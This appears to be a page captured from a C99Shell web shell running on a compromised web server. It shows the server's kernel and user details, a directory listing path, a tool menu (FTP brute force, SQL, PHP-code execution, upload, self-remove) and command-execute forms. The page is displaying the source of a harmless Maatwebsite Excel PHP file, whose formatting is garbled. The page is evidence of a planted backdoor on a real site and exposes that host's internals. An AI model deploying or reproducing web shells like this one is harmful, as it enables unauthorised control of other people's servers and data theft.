!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/maatwebsite/excel/src/Imports/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HeadingRowExtractor.php (2.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Maatwebsite\Excel\Imports;

use 
Maatwebsite\Excel\Concerns\WithColumnLimit;
use 
Maatwebsite\Excel\Concerns\WithGroupedHeadingRow;
use 
Maatwebsite\Excel\Concerns\WithHeadingRow;
use 
Maatwebsite\Excel\Concerns\WithStartRow;
use 
Maatwebsite\Excel\Row;
use 
PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;

class 
HeadingRowExtractor
{
    
/**
     * @const int
     */
    
const DEFAULT_HEADING_ROW 1;

    
/**
     * @param  WithHeadingRow|mixed  $importable
     * @return int
     */
    
public static function headingRow($importable): int
    
{
        return 
method_exists($importable'headingRow')
            ? 
$importable->headingRow()
            : 
self::DEFAULT_HEADING_ROW;
    }

    
/**
     * @param  WithHeadingRow|mixed  $importable
     * @return int
     */
    
public static function determineStartRow($importable): int
    
{
        if (
$importable instanceof WithStartRow) {
            return 
$importable->startRow();
        }

        
// The start row is the row after the heading row if we have one!
        
return $importable instanceof WithHeadingRow
            
self::headingRow($importable) + 1
            
self::DEFAULT_HEADING_ROW;
    }

    
/**
     * @param  Worksheet  $worksheet
     * @param  WithHeadingRow|mixed  $importable
     * @return array
     */
    
public static function extract(Worksheet $worksheet$importable): array
    {
        if (!
$importable instanceof WithHeadingRow) {
            return [];
        }

        
$headingRowNumber self::headingRow($importable);
        
$rows             iterator_to_array($worksheet->getRowIterator($headingRowNumber$headingRowNumber));
        
$headingRow       head($rows);
        
$endColumn        $importable instanceof WithColumnLimit $importable->endColumn() : null;

        return 
HeadingRowFormatter::format((new Row($headingRow))->toArray(nullfalsefalse$endColumn));
    }

    
/**
     * @param  array  $headingRow
     * @param  WithGroupedHeadingRow|mixed  $importable
     * @return array
     */
    
public static function extractGrouping($headingRow$importable)
    {
        
$headerIsGrouped array_fill(0count($headingRow), false);

        if (!
$importable instanceof WithGroupedHeadingRow) {
            return 
$headerIsGrouped;
        }

        
array_walk($headerIsGrouped, function (&$value$key) use ($headingRow) {
            if (
array_count_values($headingRow)[$headingRow[$key]] > 1) {
                
$value true;
            }
        });

        return 
$headerIsGrouped;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--